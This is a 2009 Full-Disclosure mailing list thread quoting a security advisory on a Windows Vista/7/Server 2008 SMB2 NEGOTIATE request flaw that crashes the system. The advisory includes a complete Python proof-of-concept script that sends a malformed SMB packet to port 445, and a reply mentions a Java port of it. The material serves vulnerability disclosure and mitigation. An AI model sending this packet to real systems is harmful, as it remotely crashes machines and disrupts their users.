Re: [Full-disclosure] Windows Vista/7 : SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.

[D-vice <lord.x86@xxxxxxxxx>]

You wrote an exploit in java....


*head explodes*

On Mon, Sep 14, 2009 at 6:02 AM, Randal T. Rioux <randy@xxxxxxxxxxxxxxx>wrote:

> After testing my version of the exploit (using Java instead of Python) I
> tried it against a Windows Server 2008 R2 installation - it went down.
>
> http://www.procyonlabs.com/software/smb2_bsoder
>
> Randy
>
>
> laurent gaffie wrote:
> > Advisory updated :
> >
> >
> > =============================================
> > - Release date: September 7th, 2009
> > - Discovered by: Laurent Gaffié
> > - Severity: High
> > =============================================
> >
> > I. VULNERABILITY
> > -------------------------
> > Windows Vista, Server 2008 < R2, 7 RC :
> > SMB2.0 NEGOTIATE PROTOCOL REQUEST Remote B.S.O.D.
> >
> > II. BACKGROUND
> > -------------------------
> > Windows vista and newer Windows comes with a new SMB version named SMB2.
> > See:
> >
> http://en.wikipedia.org/wiki/Windows_Vista_networking_technologies#Server_Message_Block_2.0
> > for more details.
> >
> > III. DESCRIPTION
> > -------------------------
> > [Edit]Unfortunatly this SMB2 security issue is specificaly due to a MS
> > patch, for another SMB2.0 security issue:
> > KB942624 (MS07-063)
> > Installing only this specific update on Vista SP0 create the following
> > issue:
> >
> > SRV2.SYS fails to handle malformed SMB headers for the NEGOTIATE
> > PROTOCOL REQUEST functionnality.
> > The NEGOTIATE PROTOCOL REQUEST is the first SMB query a client send to a
> > SMB server, and it's used to identify the SMB dialect that will be used
> > for futher communication.
> >
> > IV. PROOF OF CONCEPT
> > -------------------------
> >
> > Smb-Bsod.py:
> >
> > #!/usr/bin/python
> > #When SMB2.0 recieve a "&" char in the "Process Id High" SMB header field
> > #it dies with a PAGE_FAULT_IN_NONPAGED_AREA error
> >
> > from socket import socket
> >
> > host = "IP_ADDR", 445
> > buff = (
> > "\x00\x00\x00\x90" # Begin SMB header: Session message
> > "\xff\x53\x4d\x42" # Server Component: SMB
> > "\x72\x00\x00\x00" # Negociate Protocol
> > "\x00\x18\x53\xc8" # Operation 0x18 & sub 0xc853
> > "\x00\x26"# Process ID High: --> :) normal value should be "\x00\x00"
> > "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfe"
> > "\x00\x00\x00\x00\x00\x6d\x00\x02\x50\x43\x20\x4e\x45\x54"
> > "\x57\x4f\x52\x4b\x20\x50\x52\x4f\x47\x52\x41\x4d\x20\x31"
> > "\x2e\x30\x00\x02\x4c\x41\x4e\x4d\x41\x4e\x31\x2e\x30\x00"
> > "\x02\x57\x69\x6e\x64\x6f\x77\x73\x20\x66\x6f\x72\x20\x57"
> > "\x6f\x72\x6b\x67\x72\x6f\x75\x70\x73\x20\x33\x2e\x31\x61"
> > "\x00\x02\x4c\x4d\x31\x2e\x32\x58\x30\x30\x32\x00\x02\x4c"
> > "\x41\x4e\x4d\x41\x4e\x32\x2e\x31\x00\x02\x4e\x54\x20\x4c"
> > "\x4d\x20\x30\x2e\x31\x32\x00\x02\x53\x4d\x42\x20\x32\x2e"
> > "\x30\x30\x32\x00"
> > )
> > s = socket()
> > s.connect(host)
> > s.send(buff)
> > s.close()
> >
> > V. BUSINESS IMPACT
> > -------------------------
> > An attacker can remotly crash any Vista/Windows 7 machine with SMB
> enable.
> > Windows Xp, 2k, are NOT affected as they dont have this driver.
> >
> > VI. SYSTEMS AFFECTED
> > -------------------------
> > [Edit]Windows Vista All (64b/32b|SP1/SP2 fully updated), Win Server 2008
> > < R2, Windows 7 RC.
> >
> > VII. SOLUTION
> > -------------------------
> > No patch available for the moment.
> > Close SMB feature and ports, until a patch is provided.
> > Configure your firewall properly
> > You can also follow the MS Workaround:
> > http://www.microsoft.com/technet/security/advisory/975497.mspx
> >
> > VIII. REFERENCES
> > -------------------------
> > http://www.microsoft.com/technet/security/advisory/975497.mspx
> >
> http://blogs.technet.com/msrc/archive/2009/09/08/microsoft-security-advisory-975497-released.aspx
> >
> > IX. CREDITS
> > -------------------------
> > This vulnerability has been discovered by Laurent Gaffié
> > Laurent.gaffie{remove-this}(at)gmail.com <http://gmail.com>
> >
> > X. REVISION HISTORY
> > -------------------------
> > September 7th, 2009: Initial release
> > September 11th, 2009: Revision 1.0 release
> >
> > XI. LEGAL NOTICES
> > -------------------------
> > The information contained within this advisory is supplied "as-is"
> > with no warranties or guarantees of fitness of use or otherwise.
> > I accept no responsibility for any damage caused by the use or
> > misuse of this information.
> >
> > XII.Personal Notes
> > -------------------------
> > Many persons have suggested to update this advisory for RCE and not BSOD:
> > It wont be done, if they find a way to execute code, they will publish
> > them advisory.
>
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Full-Disclosure - We believe in it.
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